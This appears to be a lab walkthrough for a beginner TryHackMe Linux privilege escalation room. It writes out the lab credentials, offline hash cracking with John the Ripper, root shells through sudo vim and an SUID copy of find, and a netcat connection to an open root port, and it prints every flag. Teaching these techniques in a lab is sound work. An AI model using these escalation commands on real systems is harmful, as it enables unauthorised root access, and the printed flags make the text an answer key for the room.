The Blackout Protocol 🔒

"NovaCorp is hiding something. You've got one shot to get in, escalate, and expose them before they wipe everything at midnight."

This is a beginner-friendly Linux privilege escalation room I built on TryHackMe. It covers 5 real-world techniques that penetration testers use every day — SSH enumeration, password cracking, sudo misconfigurations, SUID binary abuse, and exploiting misconfigured services.

If you're just getting started with Linux privesc, this room is perfect for you.

Room link: https://tryhackme.com/room/theblackoutprotocol

🧰 What You'll Need

• 🐉 A Kali Linux machine (or any Linux attacking machine)
• 🖥️ Basic familiarity with the Linux terminal
• 🔨 John the Ripper (pre-installed on Kali)
• 🔌 Netcat (pre-installed on Kali)
• 🎯 A TryHackMe account with the room deployed

📖 The Story

You're playing the role of a whistleblower's contact. A low-level employee at NovaCorp — a shady tech company — has given you their SSH credentials. They've told you there's evidence of illegal data stored on an internal server, but they don't have root access to find it.

Your job: get in as intern, escalate your way to root, find the evidence, and get out.

🚩 Task 1 — Getting In

What's happening here?

This task teaches you the basics of SSH access and Linux enumeration. When you first land on a machine as a low-privilege user, the first thing you should always do is look around — check what files are in your home directory, what groups you belong to, and what other users exist on the system.

👣 Steps

• Step 1 — Connect to the machine via SSH:

ssh intern@MACHINE_IP
password: novacorp1

• Step 2 — Look around your home directory:

ls -la

• Step 3 — Read the first flag:

cat flag1.txt

• Step 4 — Check what other users exist:

cat /etc/passwd | grep /bin/bash

💡 You'll also notice a file called employees.bak — keep that in mind for the next task!

✅ Result

Flag 1: THM{w3lc0me_t0_n0v4c0rp}

🚩 Task 2 — Who Are You?

What's happening here?

The employees.bak file contains a Linux shadow hash — a hashed version of a user's password. In real penetration tests, finding backup files like this is extremely common. Sysadmins often leave password backups lying around without realising how dangerous they are. We'll crack it offline using John the Ripper.

👣 Steps

• Step 1 — Look at the backup file:

cat employees.bak

You'll see something like: sysadmin:$y$j9T$...:20585:0:99999:7:::

• Step 2 — Copy it to your attacking machine:

scp intern@MACHINE_IP:~/employees.bak .

• Step 3 — Crack the hash with John the Ripper:

john --wordlist=/usr/share/wordlists/rockyou.txt employees.bak

• Step 4 — View the cracked password:

john --show employees.bak

• Step 5 — SSH in as sysadmin:

ssh sysadmin@MACHINE_IP
password: rockstar

⚠️ Lesson learned: Never leave password hash backups in world-readable locations. Ever.

✅ Result

Cracked password: rockstar

🚩 Task 3 — Sudo Slip-Up

What's happening here?

One of the most common privilege escalation vectors in real environments is sudo misconfiguration. Administrators sometimes grant users the ability to run specific programs as root — but if they're not careful, those programs can be exploited to spawn a root shell. We'll check sudo permissions and exploit vim using GTFObins.

👣 Steps

• Step 1 — Check sudo permissions as intern:

sudo -l

You'll see: (ALL) NOPASSWD: /usr/bin/vim

• Step 2 — Exploit vim to get a root shell:

sudo vim -c ':!/bin/bash'

• Step 3 — Verify you're root:

whoami

• Step 4 — Read the flag:

cat /var/log/novacorp/flag2.txt

⚠️ Lesson learned: Never give users NOPASSWD sudo access to text editors, compilers, or interpreters. They can all spawn shells. Always check https://gtfobins.github.io for what can be exploited.

✅ Result

Flag 2: THM{sud0_m1sc0nf1g_pwned}

🚩 Task 4 — Sticky Fingers

What's happening here?

SUID (Set User ID) is a Linux permission that allows a file to be executed with the permissions of its owner rather than the user running it. If a binary owned by root has the SUID bit set, running it gives you root-level execution — even as a normal user. This misconfiguration is surprisingly common in real environments.

👣 Steps

• Step 1 — Search the system for SUID binaries:

find / -perm -4000 2>/dev/null

You'll spot /usr/bin/find_bak — a copy of find with SUID set

• Step 2 — Exploit it using GTFObins:

/usr/bin/find_bak . -exec /bin/bash -p \; -quit

The -p flag preserves the elevated privileges

• Step 3 — Verify you're root:

whoami

• Step 4 — Read the flag:

cat /root/novacorp_secrets.txt

⚠️ Lesson learned: Audit your SUID binaries regularly. No custom binary should ever have the SUID bit set unless absolutely necessary.

✅ Result

Flag 3: THM{su1d_b1n4ry_expl01ted}

🚩 Task 5 — The Backdoor

What's happening here?

Sometimes during a penetration test you discover a service running on an unusual port. In this case NovaCorp's server has a misconfigured service running as root on port 4444 — essentially an open root shell that anyone can connect to. Always check what's listening internally, not just externally.

👣 Steps

• Step 1 — Check what ports are open internally:

ss -tlnp

You'll see: LISTEN 0.0.0.0:4444

• Step 2 — Connect from your attacking machine:

nc MACHINE_IP 4444

• Step 3 — You'll land in a root shell. Read the final flag:

cat /root/final_evidence.txt

⚠️ Lesson learned: Never run services as root unless absolutely necessary. Always firewall internal ports. A misconfigured service running as root is a complete system compromise.

✅ Result

Flag 4: THM{r00t_sh3ll_0wned_n0v4c0rp}

📊 Summary

🧠 Key Takeaways

• 🔍 Always enumerate thoroughly when you first land on a machine
• 📁 Backup files left in readable locations can expose password hashes
• ⚙️ Check sudo permissions with sudo -l — misconfigurations are incredibly common
• 🏴 SUID binaries can be abused to escalate privileges — always check with find / -perm -4000
• 🔌 Check open ports internally — not just externally — with ss -tlnp
• 📖 GTFObins (https://gtfobins.github.io) is your best friend for privesc

Room created on TryHackMe — give it a try!
🔗 https://tryhackme.com/room/theblackoutprotocol